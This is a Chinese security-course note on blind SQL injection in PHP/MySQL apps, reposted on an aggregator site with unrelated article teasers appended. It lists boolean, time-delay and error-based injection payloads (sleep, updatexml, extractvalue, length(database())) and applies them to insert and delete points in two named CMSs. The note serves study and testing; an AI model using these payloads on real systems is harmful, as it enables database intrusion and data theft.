Day44:WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

目录

PHP-MYSQL-SQL操作-增删改查

PHP-MYSQL-注入函数-布尔&报错&延迟

基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多

基于时间的SQL盲注-延时判断(不需要任何回显)

基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)

PHP-MYSQL-注入条件-数据回显&错误处理

PHP-MYSQL-CMS案例-插入报错&删除延迟


知识点:

1、PHP-MYSQL-SQL注入-方式增删改查

2、PHP-MYSQL-SQL注入-布尔&延迟&报错

3、PHP-MYSQL-SQL注入-数据回显&报错处理

PHP-MYSQL-SQL操作-增删改查

功能:数据查询(对数据感兴趣) 一般能用union、布尔盲注

查询:SELECT * FROM news where id=$id

功能:新增用户,添加新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

增加:INSERT INTO news (字段名) VALUES (数据)

功能:删除用户,删除新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

删除:DELETE FROM news WHERE id=$id

功能:修改用户,修改文章等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

修改:UPDATE news SET id=$id

就是因为查与增删改的区别不同,所以才有了盲注的知识点

PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在注入过程中,获取的数据不能回显至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

2、基于时间的SQL盲注-延时判断

if,sleep

3、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue

参考:
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多

and length ( database ()) = 7 ;

and left(database(),1)='p';

and left(database(),2)='pi';

and substr(database(),1,1)='p';

and substr(database(),2,1)='i';

and ord(left(database(),1))=112;

regexp,like,ascii,left,ord,mid

and length(database())=7; //判断数据库database()名的长度是不是等于7

and left(database(),1)=‘p’; //left(a,b)从左侧截取a的前b位

and left(database(),2)=‘pi’; //left(a,b)从左侧截取a的前b位

基于时间的SQL盲注-延时判断(不需要任何回显)

and sleep ( 1 );

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)

and updatexml ( 1 , concat ( 0x7e ,( SELECT version ()), 0x7e ), 1 )

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

更多:https://www.jianshu.com/p/bc35f8dd4f7c

PHP-MYSQL-注入条件-数据回显&错误处理

PHP 开发项目 - 输出结果 & 开启报错

基于延时:都不需要

and if(1=1,sleep(5),0)

基于布尔:有数据库输出判断标准

and length(database())=6

基于报错:有数据库报错处理判断标准

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

PHP-MYSQL-CMS案例-插入报错&删除延迟

xhcms-insert报错

’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’ //需要加单引号进行闭合

kkcms-delete延时(当访问php脚本页面空白时就要想到会不会出现其他脚本包含该脚本的情况,并且其他脚本里写有HTML代码去进行调用)

and if(1=1,sleep(5),0) and的是前后条件都符合才行
or if(1=1,sleep(5),0) or是前后条件符合一个就可以

or if(ord(left(database(),1))=107,sleep(2),0)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/766701.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【LabVIEW FPGA入门】FPGA 存储器(Memory)

可以使用内存项将数据存储在FPGA块内存中。内存项以2kb为倍数引用FPGA目标上的块内存。每个内存项引用一个单独的地址或地址块&#xff0c;您可以使用内存项访问FPGA上的所有可用内存。如果需要随机访问存储的数据&#xff0c;请使用内存项。 内存项不消耗FPGA上的逻辑资源&…

leetcode 2671

leetcode 2671 题目 例子 思路1 使用哈希&#xff0c; unordered_map 是基于hash 实现的key,val 存储。 代码1 class FrequencyTracker {unordered_map<int, int>m;public:FrequencyTracker() { }void add(int number) {if(m.find(number) m.end()){m.insert({num…

架构设计常用到的10种设计模

设计模式是软件设计中常用的解决方案&#xff0c;可以帮助解决编程中遇到的一些常见问题。常用的设计模式大致可以分为三大类&#xff1a;创建型、结构型和行为型。这里列举的10种设计模式是从这三大类中挑选出来的&#xff0c;每一种都有其独特的应用场景&#xff1a; 创建型…

java数据库编程常见面试题

序号问题详细答案24请你谈一下内联接,外联接区别&#xff1f;内连接是保证两个表中所有的行都要满足连接条件&#xff0c;而外连接则不然。 在外连接中&#xff0c;某些不满条件的列也会显示出来&#xff0c;也就是说&#xff0c;只限制其中一个表的行&#xff0c;而不限制另一…

备战蓝桥杯---牛客寒假算法基础集训6

1.并查集数学 分析&#xff1a; 首先我们知道算数基本定理&#xff0c;如果两个数有大于1的质因子&#xff0c;那么我们就需要把他们放在同一个集合&#xff0c;因此我们可以用欧拉刷出1e6范围内的素数&#xff0c;然后依次看输入的数。 拿202*2*5举例子&#xff0c;我们在求…

算法系列--链表刷题(二)

&#x1f495;"轻舟已过万重山"&#x1f495; 作者&#xff1a;Mylvzi 文章主要内容&#xff1a;算法系列–链表刷题(二) 今天为大家带来的是算法系列--链表刷题(二),带来了几道经典的有关链表的面试题(合并K个有序列表) 1.两数相加 https://leetcode.cn/problems/a…

RAG系统与SSE流式输出

1 SSE Server-Sent Events(SSE)的核心在于允许服务器通过HTTP连接主动向客户端发送数据,这种机制主要用于实现实时通信。 Server-Sent Events(SSE)采用一种特定的文本格式进行数据传输,这种格式旨在简化服务器向客户端实时发送消息的过程。SSE消息的格式要求如下: 消息…

测试ALPHA开发板CAN1的设备树文件

一. 简介 前面一篇文章学习了 ALPHA开发板上的 CAN接口的设备节点信息&#xff0c;文章如下&#xff1a; ALPHA开发板修改CAN的设备树节点信息-CSDN博客 本文对设备树文件进行测试&#xff0c;即开发板加载 .dtb设备树文件。 二. 加载测试 CAN的设备树文件 1. 拷贝设备树…

fiddler过滤器使用,隐藏图片、js、css请求

如果抓包过程中不想查看图片、js、css请求&#xff0c;或者只想抓某个ip或者某个网页下的请求&#xff0c;可以在过滤器中设置。 &#xff08;1&#xff09;没有开启过滤器 可以看出所有的请求都会抓取&#xff0c;cs、js、图片请求都有 &#xff08;2&#xff09;开启过滤器 …

dubbo 源码系列之-集群三板斧---负载均衡(二)

在上一课时我们了解了 LoadBalance 接口定义以及 AbstractLoadBalance 抽象类的内容&#xff0c;还详细介绍了 ConsistentHashLoadBalance 以及 RandomLoadBalance 这两个实现类的核心原理和大致实现。本课时我们将继续介绍 LoadBalance 的剩余三个实现。 LeastActiveLoadBala…

MySQL | 视图

视图是一个虚拟表&#xff0c;其内容由查询定义。同真实的表一样&#xff0c;视图包含一系列带有名称的列和行数据。视图的数据变化会影响到基表&#xff0c;基表的数据变化也会影响到视图。 1. 基本使用 1.1. 创建视图 create view 视图名 as select语句&#xff1b; 创建测…

hcip实验

一、实验拓扑 二、实验划分 AR1的Serial3/0/0接口&#xff1a;192.168.1.1/24&#xff1b; AR2的Serial3/0/0接口&#xff1a;192.168.1.2/24&#xff1b; AR2的Serial3/0/1和4/0/0的聚合接口&#xff1a;192.168.2.2/24&#xff1b; AR3的Serial3/0/0和3/0/1的聚合接口&am…

网络安全实训Day8

写在前面 网络工程终于讲完了。这星期到了网络安全技术部分。 网络安全实训-网络安全技术 网络安全概述 信息安全&#xff1a;所有保障计算机硬件、系统、软件、数据不因有意或无意的行为导致的服务中断、数据损坏或丢失等安全事件的保障技术 网络安全&#xff1a;基于计算机…

C/C++之内存旋律:星辰大海的指挥家

个人主页&#xff1a;日刷百题 系列专栏&#xff1a;〖C/C小游戏〗〖Linux〗〖数据结构〗 〖C语言〗 &#x1f30e;欢迎各位→点赞&#x1f44d;收藏⭐️留言&#x1f4dd; ​ ​ 一、C/C内存分布 我们先来了解一下C/C内存分配的几个区域&#xff0c;以下面的代码为例来看…

机器学习——决策树剪枝算法

机器学习——决策树剪枝算法 决策树是一种常用的机器学习模型&#xff0c;它能够根据数据特征的不同进行分类或回归。在决策树的构建过程中&#xff0c;剪枝算法是为了防止过拟合&#xff0c;提高模型的泛化能力而提出的重要技术。本篇博客将介绍剪枝处理的概念、预剪枝和后剪…

C语言内存函数(1)【memcpy函数的使用与模拟实现】【memmove函数的使用和模拟实现】

关于内存函数有四个函数需要我们学习。分别是memcpy&#xff0c;memmove&#xff0c;memset和memcmp。都在头文件string.h里面。 一.memcpy函数的使用 一提到这个函数&#xff0c;我们可能会联想到strcpy函数&#xff0c;但strcpy函数是针对字符串的拷贝。但是我们在写代码的…

百度文心一言(ERNIE bot)API接入Android应用

百度文心一言&#xff08;ERNIE bot&#xff09;API接入Android应用实践 - 拾一贰叁 - 博客园 (cnblogs.com) Preface: 现在生成式AI越来越强大了&#xff0c;想在android上实现一个对话助手的功能&#xff0c;大概摸索了一下接入百度文心一言API的方法。 与AI助手交换信息的…

spring boot dynamic 动态数据数据源配置连接池

前言 我们可以使用 dynamic-datasource 来快速实现多数据源&#xff0c;但是多数据源配置连接池 以及说明文档都是收费的。 这里整理的连接池的配置以及配置说明 连接池配置 &#xff08;druid或者 hikari 选择一个即可&#xff09; 特此说明 如果配置配到了 spring.datasour…

RabbitMQ如何实现延迟消息?

RabbitMQ如何实现延迟消息&#xff1f; RabbitMQ中是可以实现延迟消息的&#xff0c;一般有两种方式&#xff0c;分别是通过死信队列以及通过延迟消息插件来实现。 死信队列 当RabbitMQ中的一条正常的消息&#xff0c;因为过了存活时间&#xff08;TTL过期&#xff09;、队列长…

(使用C语言详解)求一个集合的全部子集(leetcode编程笔记)

原题链接&#xff1a;子集 (Subsets) - 力扣 (LeetCode) 原码于文章末尾会给出。 本文通过位运算&#xff0c;实现题目要求&#xff0c;之后可能更新其他方法&#xff0c;敬请关注...... 题目&#xff1a; 给你一个整数数组 nums &#xff0c;数组中的元素 互不相同 。返回该…